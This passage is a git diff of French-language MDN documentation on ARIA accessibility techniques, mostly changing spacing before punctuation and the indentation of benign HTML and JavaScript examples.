de l’attribut `aria-describedby`). - Contrairement aux alertes classiques, une boîte de dialogue d’alerte doit avoir au moins un contrôle pouvant recevoir le focus et ce dernier doit s’y placer lors de l’affichage de la boîte de dialogue. Généralement les boîtes de dialogues d’alertes ont au moins un bouton de confirmation, de fermeture ou d’annulation qui peut être utilisé pour recevoir le focus. De plus, les boîtes de dialogues d’alerte peuvent avoir d’autres contrôles interactifs tels que des champs de saisie, des onglets ou des cases à cocher. Le contrôle sur lequel placer le focus dépendra de l’objet de la boîte de dialogue. @@ -27,7 +27,7 @@ Du fait de sa nature urgente, les boîtes de dialogues d’alertes doivent toujo ### Effets possibles sur les agents utilisateurs et les technologies d’assistance -Lorsque le rôle `alertdialog` est utilisé, l’agent utilisateur devrait suivre les étapes suivantes : +Lorsque le rôle `alertdialog` est utilisé, l’agent utilisateur devrait suivre les étapes suivantes : - Présenter l’élément comme une boîte de dialogue à l’API d’accessibilité du système d’exploitation. - Déclencher un évènement d’alerte accessible à l’aide l’API d’accessibilité du système d’exploitation si elle le prend en charge. @@ -40,7 +40,7 @@ Lorsque la boîte de dialogue est correctement labélisée et que le focus se pl ### Exemples -#### Exemple 1 : Une boîte de dialogue d’alerte +#### Exemple 1 : Une boîte de dialogue d’alerte L’extrait de code ci-dessous présente la façon de baliser une boîte de dialogue d’alerte qui ne contient qu’un message et un bouton `OK`. @@ -54,7 +54,7 @@ L’extrait de code ci-dessous présente la façon de baliser une boîte de dial </div> ``` -#### Exemples concrets : +#### Exemples concrets : À définir @@ -62,11 +62,11 @@ L’extrait de code ci-dessous présente la façon de baliser une boîte de dial ### Attributs ARIA utilisés -- [alertdialog](http://www.w3.org/TR/wai-aria/roles#dialog) ; -- [aria-labelledby](http://www.w3.org/TR/wai-aria/states_and_properties#aria-labelledby) ; +- [alertdialog](http://www.w3.org/TR/wai-aria/roles#dialog) ; +- [aria-labelledby](http://www.w3.org/TR/wai-aria/states_and_properties#aria-labelledby) ; - [aria-describedby](http://www.w3.org/TR/wai-aria/states_and_properties#aria-describedby). ### Techniques ARIA connexes -- [Utiliser le rôle `dialog`](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_dialog) ; +- [Utiliser le rôle `dialog`](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_dialog) ; - [Utiliser le rôle `alert`](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_alert). diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-invalid_attribute/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-invalid_attribute/index.md index ff0906e7fa..6a1b71f031 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-invalid_attribute/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-invalid_attribute/index.md @@ -14,7 +14,7 @@ Cette technique présente l’utilisation de l’attribut [`aria-invalid`](http: L’attribut `aria-invalid` est utilisé pour indiquer que la valeur saisie dans un champ de saisie n’est pas conforme au format attendu par l’application. Cela comprend les formats tels que les adresses électroniques ou les numéros de téléphone. `aria-invalid` peut également être utilisé pour indiquer qu’un champ obligatoire n’a pas été rempli. L’attribut devrait être programmatiquement défini comme étant le résultat du processus de validation. -Cet attribut peut être utilisé avec n’importe quel élément de formulaire HTML typique ; il n’est pas limité aux éléments auxquels a été assigné un `rôle` ARIA. +Cet attribut peut être utilisé avec n’importe quel élément de formulaire HTML typique ; il n’est pas limité aux éléments auxquels a été assigné un `rôle` ARIA. ### Valeurs @@ -39,7 +39,7 @@ Les agents utilisateurs devraient informer l’utilisateur lorsqu’un champ n ### Exemples -#### Exemple 1 : validation d’un formulaire de base +#### Exemple 1 : validation d’un formulaire de base L’extrait de code suivant décrit une version simplifiée de deux champs de formulaire avec une fonction de validation de la saisie attachée à la perte de focus. Notez que la valeur par défaut de `aria-required` étant `false`, il n’est pas strictement nécessaire d’ajouter à entrer. @@ -51,9 +51,9 @@ L’extrait de code suivant décrit une version simplifiée de deux champs de fo onblur="checkValidity('courriel', '@', 'L’adresse électronique saisie n’est pas valide');"/> ``` -Remarquez qu’il n’est pas nécessaire de valider les champs de saisie immédiatement à la perte de focus ; l’application peut attendre jusqu’à la soumission du formulaire (bien que ce ne soit pas particulièrement recommandé). +Remarquez qu’il n’est pas nécessaire de valider les champs de saisie immédiatement à la perte de focus ; l’application peut attendre jusqu’à la soumission du formulaire (bien que ce ne soit pas particulièrement recommandé). -L’extrait de code ci-dessous décrit une fonction de validation très simple qui ne vérifie que la présence d’un caractère particulier (en réalité, la validation sera un peu plus sophistiquée) : +L’extrait de code ci-dessous décrit une fonction de validation très simple qui ne vérifie que la présence d’un caractère particulier (en réalité, la validation sera un peu plus sophistiquée) : ```js function checkValidity(aID, aSearchTerm, aMsg){ @@ -69,7 +69,7 @@ function checkValidity(aID, aSearchTerm, aMsg){ } ``` -L’extrait de code ci-dessous décrit des fonctions d’alertes, qui ajoutent (ou suppriment) le message d’erreur : +L’extrait de code ci-dessous décrit des fonctions d’alertes, qui ajoutent (ou suppriment) le message d’erreur : ```js function updateAlert(msg) { diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.md index 2dd44fb491..f19dcd5bfa 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.md @@ -25,7 +25,7 @@ Les lecteurs d'écran lisent le contenu textuel de cet attribut. ## Usage -L’attribut `aria-label` ne doit être utilisé que lorsque le texte d’un label _n’est pas_ visible à l’écran. Si le texte du label de l’élément existe et est visible, utilisez plutôt l’attribut [aria-labelledby](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-labelledby). +L’attribut `aria-label` ne doit être utilisé que lorsque le texte d’un label _n’est pas_ visible à l’écran. Si le texte du label de l’élément existe et est visible, utilisez plutôt l’attribut [aria-labelledby](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-labelledby). Cet attribut peut être utilisé avec n’importe quel élément HTML. Néanmoins, il n'est pas nécessaire de l'utiliser si l'élément possède déjà un mécanisme pour légender son contenu. Par exemple l'élément `<label>` pour les éléments de formulaire, ou l'attribut `alt` pour les images. @@ -37,7 +37,7 @@ Une légende sous forme de chaîne de caractère. ### Un bouton sans contenu textuel explicite -Dans l’exemple ci-dessous, un bouton est stylé pour ressembler à un bouton « *Fermer* » classique, avec un `X` en son centre. Comme il n’existe aucune information indiquant que la fonction du bouton est de fermer la boîte de dialogue, l’attribut `aria-label` est utilisé pour fournir un label aux technologies d’assistance. +Dans l’exemple ci-dessous, un bouton est stylé pour ressembler à un bouton « *Fermer* » classique, avec un `X` en son centre. Comme il n’existe aucune information indiquant que la fonction du bouton est de fermer la boîte de dialogue, l’attribut `aria-label` est utilisé pour fournir un label aux technologies d’assistance. ```html <button aria-label="Fermer" onclick="myDialog.close()">X</button> diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.md index a7a35af681..1a90536153 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.md @@ -14,13 +14,13 @@ Cette technique présente l’utilisation de l’attribut [`aria-labelledby`](ht L’attribut `aria-labelledby` est utilisé pour indiquer les ID des éléments qui labellisent l’objet. Il est utilisé pour établir une relation entre les composants, ou les groupes, et leurs labels. Les utilisateurs de technologies d’assistance telles que les lecteurs d’écran, naviguent généralement dans un document en tabulant entre les zones de l’écran. Si un label n’est pas associé à un élément de saisie, un composant ou un groupe, il ne sera pas lu par le lecteur d’écran. -`aria-labelledby` est très similaire à l’attribut [aria-describedby](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-describedby) : un label décrit la nature d’un objet, alors qu’une description fournit plus d’informations pouvant être utiles à l’utilisateur. +`aria-labelledby` est très similaire à l’attribut [aria-describedby](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-describedby) : un label décrit la nature d’un objet, alors qu’une description fournit plus d’informations pouvant être utiles à l’utilisateur. -L’attribut `aria-labelledby` n’est pas uniquement utilisé avec les éléments de formulaire ; il peut également être utilisé pour associer un texte statique avec des composants, des groupes d’éléments, des panneaux, des zones possédant un titre, des définitions, etc. La section {{ anch("Exemples") }} ci-dessous fournit plus d’informations sur l’utilisation de cet attribut dans ces cas précis. +L’attribut `aria-labelledby` n’est pas uniquement utilisé avec les éléments de formulaire ; il peut également être utilisé pour associer un texte statique avec des composants, des groupes d’éléments, des panneaux, des zones possédant un titre, des définitions, etc. La section {{ anch("Exemples") }} ci-dessous fournit plus d’informations sur l’utilisation de cet attribut dans ces cas précis. L’attribut `aria-labelledby` peut être utilisé en conjonction avec l’élément {{ HTMLElement("label") }} (à l’aide de l’attribut `for`) pour améliorer la compatibilité avec les agents utilisateurs qui ne prennent pas encore en charge ARIA. -Cet attribut peut être utilisé avec n’importe quel élément caractéristique de formulaire HTML ; il n’est pas limité aux éléments auxquels un rôle ARIA a été assigné. +Cet attribut peut être utilisé avec n’importe quel élément caractéristique de formulaire HTML ; il n’est pas limité aux éléments auxquels un rôle ARIA a été assigné. ### Valeurs @@ -32,9 +32,9 @@ Lorsque les deux attributs `aria-labelledby` et [`aria-label`](/fr/Accessibilit ### Exemples -#### Exemple 1 : Labels multiples +#### Exemple 1 : Labels multiples -Dans l’exemple ci-dessous, chaque champ de saisie est labellisé à la fois avec son propre label individuel et avec le label pour le groupe : +Dans l’exemple ci-dessous, chaque champ de saisie est labellisé à la fois avec son propre label individuel et avec le label pour le groupe : ```html <div id="facturation">Facturation</div> @@ -52,7 +52,7 @@ Dans l’exemple ci-dessous, chaque champ de saisie est labellisé à la fois av </div> ``` -#### Exemple 2 : Association de titres et de zones +#### Exemple 2 : Association de titres et de zones Dans l’exemple ci-dessous, les éléments d’en-têtes sont associés avec les contenus dont ils sont les intitulés. Notez que la zone référencée est celle qui _contient_ l’en-tête. @@ -63,9 +63,9 @@ Dans l’exemple ci-dessous, les éléments d’en-têtes sont associés avec le </div> ``` -#### Exemple 3 : Groupes de boutons radio +#### Exemple 3 : Groupes de boutons radio -Dans l’exemple ci-dessous, le conteneur d’un [radiogroup](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_radiogroup) est associé avec son label à l’aide de l’attribut `aria-labelledby` : +Dans l’exemple ci-dessous, le conteneur d’un [radiogroup](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_radiogroup) est associé avec son label à l’aide de l’attribut `aria-labelledby` : ```html <div id="radio_label">My radio label</div> @@ -77,9 +77,9 @@ Dans l’exemple ci-dessous, le conteneur d’un [radiogroup](/fr/Accessibilité </ul> ``` -#### Exemple 4 : Titre de boite de dialogue +#### Exemple 4 : Titre de boite de dialogue -Dans l’exemple ci-dessous, l’élément d’en-tête qui labellise la boite de dialogue y est relié par l’attribut `aria-labelledby` : +Dans l’exemple ci-dessous, l’élément d’en-tête qui labellise la boite de dialogue y est relié par l’attribut `aria-labelledby` : ```html <div role="dialog" aria-labelledby="titreDialogue"> @@ -88,7 +88,7 @@ Dans l’exemple ci-dessous, l’élément d’en-tête qui labellise la boite d </div> ``` -#### Exemple 5 : Définition intégrée +#### Exemple 5 : Définition intégrée Dans l’exemple ci-dessous, la définition d’un terme qui est décrit dans le flux naturel de la narration, est associée au terme lui-même à l’aide de l’attribut **aria-labelledby**: @@ -98,15 +98,15 @@ une préparation inerte prescrite plus pour le soulagement mental du patient que </p> ``` -#### Exemple 6 : Listes de définitions +#### Exemple 6 : Listes de définitions -Dans l’exemple ci-dessous, les définitions sont associées avec les termes qu’elles définissent à l’aide de l’attribut `aria-labelledby` : +Dans l’exemple ci-dessous, les définitions sont associées avec les termes qu’elles définissent à l’aide de l’attribut `aria-labelledby` : ```html <dl> <dt id="anatheme">anathème</dt> <dd role="definition" aria-labelledby="anatheme">une interdiction ou une condamnation prononcée par une autorité ecclésiastique - et accompagnée de l’excommunication</dd> + et accompagnée de l’excommunication</dd> <dd role="definition" aria-labelledby="anatheme">une dénonciation vigoureuse : condamnation</dd> <dt id="homelie">homélie</dt> @@ -116,9 +116,9 @@ Dans l’exemple ci-dessous, les définitions sont associées avec les termes qu </dl> ``` -#### Exemple 7 : Menus +#### Exemple 7 : Menus -Dans l’exemple ci-dessous, un [menu contextuel](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-haspopup) est associé avec son label à l’aide de l’attribut `aria-labelledby` : +Dans l’exemple ci-dessous, un [menu contextuel](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-haspopup) est associé avec son label à l’aide de l’attribut `aria-labelledby` : ```html <div role="menubar"> @@ -143,7 +143,7 @@ Tous les éléments de balisage de base. ### Techniques ARIA connexes -- [Utiliser l’attribut `aria-label`](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-label) ; +- [Utiliser l’attribut `aria-label`](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-label) ; - [Utiliser l’attribut `aria-describedby`](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-describedby). ### Autres ressources diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-orientation_attribute/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-orientation_attribute/index.md index b69d64990b..4b1e1a436f 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-orientation_attribute/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-orientation_attribute/index.md @@ -29,7 +29,7 @@ Vocabulaire ### Exemples -#### Exemple 1 : +#### Exemple 1 : L’extrait de code ci-dessous présente un curseur simple orienté verticalement. @@ -48,8 +48,8 @@ L’extrait de code ci-dessous présente un curseur simple orienté verticalemen ### Utilisé avec les rôles ARIA -- scrollbar ; -- [slider](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_slider_role) ; +- scrollbar ; +- [slider](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_slider_role) ; - separator. ### Autres ressources diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-relevant_attribute/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-relevant_attribute/index.md index f29b625d53..91cdfe0ba3 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-relevant_attribute/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-relevant_attribute/index.md @@ -7,7 +7,7 @@ tags: translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute original_slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-relevant --- -L’attribut [aria-relevant](http://www.w3.org/TR/wai-aria/states_and_properties#aria-relevant) est une valeur optionnelle utilisée pour décrire quels types de modifications ont été apportés à une région [`aria-live`](/fr/docs/Web/Accessibility/ARIA/ARIA_Live_Regions), ainsi que ceux qui sont pertinents et doivent être annoncés. Toute modification jugée comme non pertinente se comporte de la même manière que si l’attribut `aria-live` n’était pas activé. +L’attribut [aria-relevant](http://www.w3.org/TR/wai-aria/states_and_properties#aria-relevant) est une valeur optionnelle utilisée pour décrire quels types de modifications ont été apportés à une région [`aria-live`](/fr/docs/Web/Accessibility/ARIA/ARIA_Live_Regions), ainsi que ceux qui sont pertinents et doivent être annoncés. Toute modification jugée comme non pertinente se comporte de la même manière que si l’attribut `aria-live` n’était pas activé. L’attribut aria-relevant est habituellement utilisé lorsque le contenu d’une page web peut être mis à jour alors que la page est affichée. diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-required_attribute/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-required_attribute/index.md index 3779f56201..0582f73e61 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-required_attribute/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-required_attribute/index.md @@ -18,7 +18,7 @@ L’attribut `aria-required` est utilisé pour indiquer que l’utilisateur doit ### Valeurs -`true` ou `false` (Valeur par défaut : `false`) +`true` ou `false` (Valeur par défaut : `false`) ### Effets possibles sur les agents utilisateurs et les technologies d’assistance @@ -30,7 +30,7 @@ Remarquez que cet attribut ne changera pas automatiquement la présentation du c ### Exemples -#### Exemple 1 : un formulaire simple +#### Exemple 1 : un formulaire simple ```html <form action="post"> @@ -49,12 +49,12 @@ Remarquez que cet attribut ne changera pas automatiquement la présentation du c ### Utilisé dans les rôles ARIA -- Combobox ; -- Gridcell ; -- Listbox ; -- Radiogroup ; -- Spinbutton ; -- [Textbox](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_textbox) ; +- Combobox ; +- Gridcell ; +- Listbox ; +- Radiogroup ; +- Spinbutton ; +- [Textbox](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_textbox) ; - Tree. ### Techniques ARIA connexes @@ -63,6 +63,6 @@ Remarquez que cet attribut ne changera pas automatiquement la présentation du c ### Autres ressources -- [Spécification WAI-ARIA pour `aria-required`](http://www.w3.org/TR/wai-aria/states_and_properties#aria-required) ; -- [WAI-ARIA Authoring Practices for forms](http://www.w3.org/TR/wai-aria-practices/#ariaform) (Règles WAI-ARIA de création de formulaires) ; +- [Spécification WAI-ARIA pour `aria-required`](http://www.w3.org/TR/wai-aria/states_and_properties#aria-required) ; +- [WAI-ARIA Authoring Practices for forms](http://www.w3.org/TR/wai-aria-practices/#ariaform) (Règles WAI-ARIA de création de formulaires) ; - [Validation de condition](/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation) en {{ HTMLVersionInline("5") }}. diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuemax_attribute/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuemax_attribute/index.md index c5b15f8d43..7df81da5c0 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuemax_attribute/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuemax_attribute/index.md @@ -28,7 +28,7 @@ Si la valeur `aria-valuemax` n’est pas déterminée, ou si `aria-valuemin` n ### Exemples -#### Exemple 1: +#### Exemple 1: L’extrait de code ci-dessous montre un curseur basique avec une valeur maximale de 10. @@ -40,15 +40,15 @@ L’extrait de code ci-dessous montre un curseur basique avec une valeur maximal ### Utilisés avec les rôles ARIA -- [progressbar](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_progressbar) ; -- [scrollbar](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_scrollbar) ; -- [slider](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_slider) ; +- [progressbar](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_progressbar) ; +- [scrollbar](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_scrollbar) ; +- [slider](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_slider) ; - [spinbutton](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_spinbutton). ### Techniques ARIA connexes -- [aria-valuemin](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuemin) ; -- [aria-valuenow](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuenow) ; +- [aria-valuemin](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuemin) ; +- [aria-valuenow](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuenow) ; - [aria-valuetext](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuetext). ### Autres ressources diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuemin_attribute/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuemin_attribute/index.md index ed3cec7ca6..b00c0a91da 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuemin_attribute/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuemin_attribute/index.md @@ -26,7 +26,7 @@ Si `aria-valuemin` n’est pas inférieure ou égale à la valeur de `aria-value ### Exemples -#### Exemple 1 : +#### Exemple 1 : L’extrait de code ci-dessous montre un curseur basique avec une valeur minimale de 1. @@ -38,15 +38,15 @@ L’extrait de code ci-dessous montre un curseur basique avec une valeur minimal ### Utilisé avec les rôles ARIA -- [progressbar](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_progressbar) ; -- [scrollbar](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_scrollbar) ; -- [slider](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_slider) ; +- [progressbar](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_progressbar) ; +- [scrollbar](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_scrollbar) ; +- [slider](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_slider) ; - [spinbutton](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_spinbutton). ### Techniques ARIA connexes -- [aria-valuemax](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuemax) ; -- [aria-valuenow](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuenow) ; +- [aria-valuemax](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuemax) ; +- [aria-valuenow](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuenow) ; - [aria-valuetext](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuetext). ### Autres ressources diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuenow_attribute/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuenow_attribute/index.md index 4cf525f585..ace6b0c1d4 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuenow_attribute/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuenow_attribute/index.md @@ -10,7 +10,7 @@ original_slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valu --- L'attribut `aria-valuenow` est utilisé pour définir la valeur courante de l'intervalle d'un composant tel qu'un curseur, un bouton tournant (potentiomètre) ou une barre de progression. Si la valeur courante n'est pas connue, l'attribut `aria-valuenow` ne devrait pas être défini. Si `aria-valuenow` a des valeurs minimale et maximale connues, on devrait définir les attributs [`aria-valuemin`](/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute) et [`aria-valuemax`](/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemax_attribute). -Lorsque la valeur rendue ne peut être précisément représentée par un nombre, les développeuses et développeurs **DEVRAIENT** utiliser l'attribut [`aria-valuetext`](/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute) en conjonction avec `aria-valuenow` pour fournir une représentation humainement lisible de la valeur courante. Par exemple, un curseur peut avoir des valeurs retournées comme `"petite"`, `"moyenne"` et `"grande"`. Dans ce cas, les valeurs de `aria-valuenow` peuvent varier de 1 à 3, ce qui indique la position de chaque valeur dans l'espace de valeurs, mais la valeur de [`aria-valuetext`](/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute) sera l'une des chaînes : `"petite"`, `"moyenne"` ou `"grande"`. +Lorsque la valeur rendue ne peut être précisément représentée par un nombre, les développeuses et développeurs **DEVRAIENT** utiliser l'attribut [`aria-valuetext`](/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute) en conjonction avec `aria-valuenow` pour fournir une représentation humainement lisible de la valeur courante. Par exemple, un curseur peut avoir des valeurs retournées comme `"petite"`, `"moyenne"` et `"grande"`. Dans ce cas, les valeurs de `aria-valuenow` peuvent varier de 1 à 3, ce qui indique la position de chaque valeur dans l'espace de valeurs, mais la valeur de [`aria-valuetext`](/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute) sera l'une des chaînes : `"petite"`, `"moyenne"` ou `"grande"`. L'attribut `aria-valuenow` est **obligatoire** pour les rôles [`slider`](/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_slider_role), [`scrollbar`](/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_scrollbar_role) et [`spinbutton`](/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_spinbutton_role). @@ -63,13 +63,13 @@ L'extrait de code ci-dessous affiche un curseur simple avec une valeur courante ## Techniques ARIA connexes -- [aria-valuemax](/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemax_attribute) ; -- [aria-valuemin](/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute) ; +- [aria-valuemax](/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemax_attribute) ; +- [aria-valuemin](/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute) ; - [aria-valuetext](/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute). ## Compatibilité -À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d'agents utilisateurs et de produits de technologies d'assistance. +À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d'agents utilisateurs et de produits de technologies d'assistance. ## Autres ressources diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuetext_attribute/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuetext_attribute/index.md index 4dd141cfd7..906733906b 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuetext_attribute/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuetext_attribute/index.md @@ -14,7 +14,7 @@ L’attribut `aria-valuetext` est utilisé pour définir un texte alternatif, li Les développeurs **DEVRAIENT** uniquement définir l’attribut `aria-valuetext` lorsque la valeur retournée ne peut pas être précisément représentée sous forme de nombre. -Par exemple, dans le cas d'un curseur qui peut retourner les valeurs `petite`, `moyenne`et `grand`, les valeurs de [`aria-valuenow`](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuenow) pourraient aller de 1 à 3, indiquant ainsi la position de chaque valeur dans l’intervalle, mais la valeur de `aria-valuetext` sera l'une des chaînes suivantes : `petite`, `moyenne` ou `grande`. +Par exemple, dans le cas d'un curseur qui peut retourner les valeurs `petite`, `moyenne`et `grand`, les valeurs de [`aria-valuenow`](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuenow) pourraient aller de 1 à 3, indiquant ainsi la position de chaque valeur dans l’intervalle, mais la valeur de `aria-valuetext` sera l'une des chaînes suivantes : `petite`, `moyenne` ou `grande`. ### Valeurs @@ -28,7 +28,7 @@ Si l’attribut `aria-valuetext` est absent, les technologies d’assistance com ### Exemples -#### Exemple 1 : +#### Exemple 1 : L’extrait de code ci-dessous montre un curseur simple de sélection d’un jour de la semaine. La valeur du curseur est numérique, et l’attribut `aria-valuetext` est utilisé pour fournir le nom de jour. L’application actualisera programmatiquement `aria-valuetext` selon la valeur de `aria-valuenow`. @@ -38,14 +38,14 @@ L’extrait de code ci-dessous montre un curseur simple de sélection d’un jou aria-valuetext="Dimanche"> ``` -#### Exemples concrets : +#### Exemples concrets : ### Notes ### Utilisé avec les rôles ARIA -- [progressbar](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_progressbar) ; -- scrollbar ; +- [progressbar](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_progressbar) ; +- scrollbar ; - [slider](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_slider) - spinbutton. diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_article_role/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_article_role/index.md index b67c6b261a..ee79d75065 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_article_role/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_article_role/index.md @@ -34,17 +34,17 @@ Les technologies d'assistance **doivent** fournit une fonctionnalité permettant ```html <div role="article"> - <h1>Une titre de billet de blog</h1> - <p>contenu du billet...</p> - - <div class="comments"> - <div role="article"> - <p>Un premier commentaire</p> - </div> - <div role="article"> - <p>Un deuxième commentaire</p> - </div> - </div> + <h1>Une titre de billet de blog</h1> + <p>contenu du billet...</p> + + <div class="comments"> + <div role="article"> + <p>Un premier commentaire</p> + </div> + <div role="article"> + <p>Un deuxième commentaire</p> + </div> + </div> </div> ``` diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_group_role/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_group_role/index.md index 79d19d503d..622fc36e75 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_group_role/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_group_role/index.md @@ -12,7 +12,7 @@ original_slug: 